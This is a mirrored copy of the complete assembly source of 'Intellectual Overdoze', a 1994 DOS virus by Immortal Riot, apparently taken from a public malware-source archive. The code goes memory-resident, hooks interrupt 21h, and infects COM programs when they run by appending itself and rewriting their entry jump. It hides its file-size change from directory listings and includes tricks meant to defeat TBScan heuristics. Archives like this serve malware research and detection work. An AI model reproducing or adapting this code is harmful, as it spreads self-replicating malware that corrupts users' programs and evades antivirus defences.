mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
351 lines
10 KiB
NASM
351 lines
10 KiB
NASM
; ------------------------------------------------------------------------------
|
|
;
|
|
; - Intellectual Overdoze -
|
|
; Created by Immortal Riot's destructive development team
|
|
; (c) 1994 The Unforgiven/Immortal Riot
|
|
;
|
|
;-------------------------------------------------------------------------------
|
|
; þ Memory Resident Stealth Infector of COM-programs þ
|
|
;-------------------------------------------------------------------------------
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
start:
|
|
|
|
jmp virus_start ; for first generation only!
|
|
db 'V' ; mark org file infected
|
|
|
|
virus_start:
|
|
|
|
mov sp,102h ; get delta offset without
|
|
call get_delta_offset ; getting detected by tbscan
|
|
|
|
|
|
get_delta_offset:
|
|
|
|
call cheat_tbscan ; kick's tbscan's heuristics
|
|
mov si,word ptr ds:[100h] ; real bad!
|
|
mov sp,0fffeh
|
|
sub si,offset get_delta_offset
|
|
jmp short go_resident
|
|
|
|
cheat_tbscan:
|
|
|
|
mov ax,0305h ; keyb i/o
|
|
xor bx,bx
|
|
int 16h
|
|
ret
|
|
|
|
go_resident:
|
|
|
|
mov bp,si
|
|
|
|
installtion_check:
|
|
|
|
mov ax,6666h
|
|
int 21h
|
|
cmp bx,6666h ; 6666h returned in bx?
|
|
je already_resident ; = assume resident
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
resize_memory_block:
|
|
|
|
mov ah,4ah ; find top of memory
|
|
mov bx,0ffffh ; (65536)
|
|
int 21h
|
|
|
|
resize_memory_block_for_virus:
|
|
|
|
sub bx,(virus_end-virus_start+15)/16+1 ; resize enough para's
|
|
mov ah,4ah ; for virus
|
|
int 21h
|
|
|
|
allocate_memory_block_for_virus:
|
|
|
|
mov ah,48h ; allocate for virus
|
|
mov bx,(virus_end-virus_start+15)/16
|
|
int 21h
|
|
jc not_enough_mem ; not enough memory!
|
|
|
|
dec ax ; ax - 1 = mcb
|
|
push es
|
|
|
|
mark_allocated_memory_block_to_dos:
|
|
|
|
mov es,ax
|
|
mov byte ptr es:[0],'Z'
|
|
mov word ptr es:[1],8 ; dos = mcb owner
|
|
inc ax
|
|
|
|
copy_virus_to_memory:
|
|
|
|
cld ; clear direction for movsw
|
|
lea si,[bp+offset virus_start] ; vir start
|
|
mov es,ax
|
|
xor di,di
|
|
mov cx,(virus_end-virus_start+4)/2 ; vir len
|
|
rep movsw
|
|
|
|
manually_hook_of_int21h:
|
|
|
|
xor ax,ax
|
|
mov ds,ax
|
|
push ds
|
|
; get/set int vector for int21
|
|
lds ax,ds:[21h*4]
|
|
mov word ptr es:[oldint21h-virus_start],ax
|
|
mov word ptr es:[oldint21h-virus_start+2],ds
|
|
pop ds
|
|
mov word ptr ds:[21h*4],(newint21h-virus_start)
|
|
|
|
mov bx,es ; cheat tbscan since
|
|
mov ds:[21h*4+2],bx ; mov ds:[21h*4+2],es = M flag
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
exit:
|
|
not_enough_mem:
|
|
already_resident:
|
|
|
|
push cs
|
|
pop es
|
|
|
|
restore_first_bytes:
|
|
|
|
mov di,100h
|
|
mov cx,4
|
|
mov si,offset orgbuf
|
|
add si,bp ; fix correct offset (delta)
|
|
repne movsb
|
|
|
|
jmp_org_program:
|
|
|
|
mov ax,101h ; cheats tbscan's back to
|
|
dec ax ; entry point
|
|
jmp ax
|
|
|
|
|
|
newint21h:
|
|
|
|
cmp ax,4b00h ; file executed?
|
|
je infect
|
|
|
|
cmp ah,11h ; fcb findfirst call?
|
|
je fcb_stealth
|
|
|
|
cmp ah,12h ; fcb findnext call?
|
|
je fcb_stealth
|
|
|
|
cmp ax,6666h ; residency check
|
|
jne do_old21h ; not resident
|
|
mov bx,6666h ; return marker in bx
|
|
|
|
do_old21h:
|
|
|
|
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
|
|
ret
|
|
|
|
fcb_stealth:
|
|
|
|
pushf
|
|
push cs ; fake a int call with pushf
|
|
call do_old21h ; and cs, ip on the stack
|
|
cmp al,00 ; dir successfull?
|
|
jnz dir_error ; naw, skip stealth routine!
|
|
push ax
|
|
push bx
|
|
push es
|
|
mov ah,51h ; Get active PSP to es:bx
|
|
int 21h
|
|
mov es,bx
|
|
cmp bx,es:[16h] ; Dos calling it?
|
|
jnz not_dos ; Nope!
|
|
mov bx,dx
|
|
mov al,[bx] ; al = current drive
|
|
push ax
|
|
mov ah,2fh ; get dta area
|
|
int 21h
|
|
pop ax ; check extended fcb
|
|
inc al ; "cmp byte ptr [bx],0ffh"
|
|
jnz normal_fcb ; nope, regular fcb!
|
|
|
|
ext_fcb:
|
|
add bx,7h ; skip junkie if ext fcb
|
|
|
|
normal_fcb:
|
|
|
|
mov ax,es:[bx+17h] ; get second value
|
|
and ax,1fh
|
|
xor al,01h
|
|
jnz no_stealth ; second-stealth value match
|
|
|
|
; Here one should really check (i) if the file was a comfile, and (ii),
|
|
; the file-size ( >472 bytes) But oh well, maybe to come..
|
|
|
|
and byte ptr es:[bx+17h],0e0h ; substract virus len
|
|
sub es:[bx+1dh],(virus_end-virus_start)
|
|
sbb es:[bx+1fh],ax
|
|
|
|
no_stealth:
|
|
not_dos:
|
|
|
|
pop es
|
|
pop bx
|
|
pop ax
|
|
|
|
dir_error:
|
|
iret
|
|
|
|
infect:
|
|
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push di
|
|
push si
|
|
push ds
|
|
push es
|
|
|
|
open_file:
|
|
|
|
mov ax,3d02h ; open file in read/write
|
|
int 21h ; mode
|
|
jc error_open ; error on file open
|
|
|
|
xchg ax,bx ; file handle in bx
|
|
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
|
|
read_firstbytes:
|
|
|
|
mov ah,3fh ; read first four bytes
|
|
mov dx,(orgbuf-virus_start) ; to orgbuf
|
|
mov cx,4
|
|
int 21h
|
|
|
|
|
|
check_file_executed:
|
|
|
|
cmp byte ptr cs:[(orgbuf-virus_start)],'M' ; check only first byte
|
|
je exe_file ; - fooling tbscan
|
|
|
|
|
|
check_previous_infection:
|
|
|
|
cmp byte ptr cs:[(orgbuf-virus_start)+3],'V' ; already infected?
|
|
je already_infected
|
|
|
|
jmp short get_file_time_date ; not infected
|
|
|
|
error_open:
|
|
already_infected:
|
|
exe_file:
|
|
|
|
|
|
jmp exit_proc ; dont infect file
|
|
|
|
|
|
get_file_time_date:
|
|
|
|
mov ax,5700h ; get time/date
|
|
int 21h
|
|
|
|
mov word ptr cs:[(old_time-virus_start)],cx ; save time
|
|
mov word ptr cs:[(old_date-virus_start)],dx ; and date
|
|
|
|
go_endoffile:
|
|
|
|
mov ax,4202h ; go end of file
|
|
xor cx,cx
|
|
cwd
|
|
int 21h
|
|
|
|
check_file_size:
|
|
|
|
cmp ax,3072d ; check file-size
|
|
jb too_small
|
|
|
|
cmp ax,64000d
|
|
ja too_big
|
|
|
|
create_newjump:
|
|
|
|
sub ax,3 ; 0e9h,XX,XX,
|
|
mov word ptr cs:[(newbuf+1-virus_start)],ax ; V => AX
|
|
|
|
write_virus:
|
|
|
|
mov ah,40h ; write virus to end of file
|
|
mov cx,(virus_end-virus_start)
|
|
; cwd ; (dx = 0 since go eof)
|
|
int 21h
|
|
|
|
go_tof:
|
|
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
; cwd ; ( dx = 0 since go eof)
|
|
int 21h
|
|
|
|
|
|
write_newjump:
|
|
|
|
mov ah,40h ; write new jmp to tof
|
|
mov cx,4 ; = 0E9H,XX,XX,V
|
|
mov dx,(newbuf-virus_start) ; offset to write from
|
|
int 21h
|
|
|
|
|
|
set_org_time_date:
|
|
too_small:
|
|
too_big:
|
|
|
|
mov ax,5701h ; set back org
|
|
mov word ptr cx,cs:[(old_time-virus_start)] ; time
|
|
mov word ptr dx,cs:[(old_date-virus_start)] ; date
|
|
|
|
|
|
set_stealth_marker:
|
|
|
|
and cl,0e0h ; give file
|
|
inc cl ; specific
|
|
int 21h ; second val
|
|
|
|
close_file:
|
|
|
|
mov ah,3eh ; close file
|
|
int 21h
|
|
|
|
exit_proc:
|
|
|
|
pop ds
|
|
pop es
|
|
pop ds
|
|
pop si
|
|
pop di
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
|
|
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
|
|
|
|
old_date dw 0 ; storage buffers
|
|
old_time dw 0 ; for file time/date
|
|
oldint21h dd ? ; and oldint21h
|
|
|
|
orgbuf db 0cdh,20h,00,00 ; buffer to save first 4 bytes in
|
|
newbuf db 0E9h,00,00,'V' ; buffer to calculate a new entry
|
|
|
|
copyrt db "[Overdoze] (c) 1994 The Unforgiven/Immortal Riot"
|
|
|
|
virus_end:
|
|
end start
|